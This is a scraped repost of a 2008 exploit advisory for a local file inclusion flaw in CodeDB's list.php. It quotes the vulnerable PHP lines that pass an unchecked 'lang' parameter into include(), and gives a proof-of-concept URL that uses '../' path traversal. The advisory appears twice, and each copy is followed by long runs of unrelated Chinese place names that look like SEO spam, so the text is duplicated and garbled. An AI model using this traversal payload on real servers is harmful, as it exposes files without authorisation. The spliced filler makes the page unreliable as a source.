CodeDB (list.php lang) Local File Inclusion Vulnerability
互聯(lián)網(wǎng) 發(fā)布時(shí)間:2008-10-08 21:03:40 作者:佚名
我要評(píng)論
###############################################################################
#
# Name : CodeDB (list.php lang) Local File Inclusion Vulnerability
# Author : cOndemned
# Greetz : ZaBeaTy, str0ke, irk4z, GregStar, doctor
###############################################################################
#
# Name : CodeDB (list.php lang) Local File Inclusion Vulnerability
# Author : cOndemned
# Greetz : ZaBeaTy, str0ke, irk4z, GregStar, doctor, Adish, Avantura ;*
#
###############################################################################
Source :
// list.php
2. $lang = htmlspecialchars($_GET['lang']); // ok, but.... for what ? lol
7. if(file_exists('templates/'.$lang.'_middle.php')) // We'll have to cut off rest of filename & extension
8. include('templates/'.$lang.'_middle.php'); // Ekhm... pwned ;d
Proof of Concept :
http://[host]/[codeDB_path]/list.php?lang=../readme.txt 巫溪县| 正安县| 酉阳| 沿河| 青铜峡市| 石河子市| 宜兰市| 达拉特旗| 龙游县| 沙田区| 华安县| 城口县| 类乌齐县| 濉溪县| 清远市| 梁平县| 富川| 宜兰市| 措勤县| 阿拉善盟| 洞头县| 广汉市| 伊吾县| 宁陕县| 商南县| 侯马市| 彭山县| 龙口市| 信宜市| 新民市| 鄂州市| 茶陵县| 青海省| 洪湖市| 客服| 商城县| 凤冈县| 榆社县| 财经| 朝阳县| 读书|
#
# Name : CodeDB (list.php lang) Local File Inclusion Vulnerability
# Author : cOndemned
# Greetz : ZaBeaTy, str0ke, irk4z, GregStar, doctor, Adish, Avantura ;*
#
###############################################################################
Source :
// list.php
2. $lang = htmlspecialchars($_GET['lang']); // ok, but.... for what ? lol
7. if(file_exists('templates/'.$lang.'_middle.php')) // We'll have to cut off rest of filename & extension
8. include('templates/'.$lang.'_middle.php'); // Ekhm... pwned ;d
Proof of Concept :
http://[host]/[codeDB_path]/list.php?lang=../readme.txt 巫溪县| 正安县| 酉阳| 沿河| 青铜峡市| 石河子市| 宜兰市| 达拉特旗| 龙游县| 沙田区| 华安县| 城口县| 类乌齐县| 濉溪县| 清远市| 梁平县| 富川| 宜兰市| 措勤县| 阿拉善盟| 洞头县| 广汉市| 伊吾县| 宁陕县| 商南县| 侯马市| 彭山县| 龙口市| 信宜市| 新民市| 鄂州市| 茶陵县| 青海省| 洪湖市| 客服| 商城县| 凤冈县| 榆社县| 财经| 朝阳县| 读书|

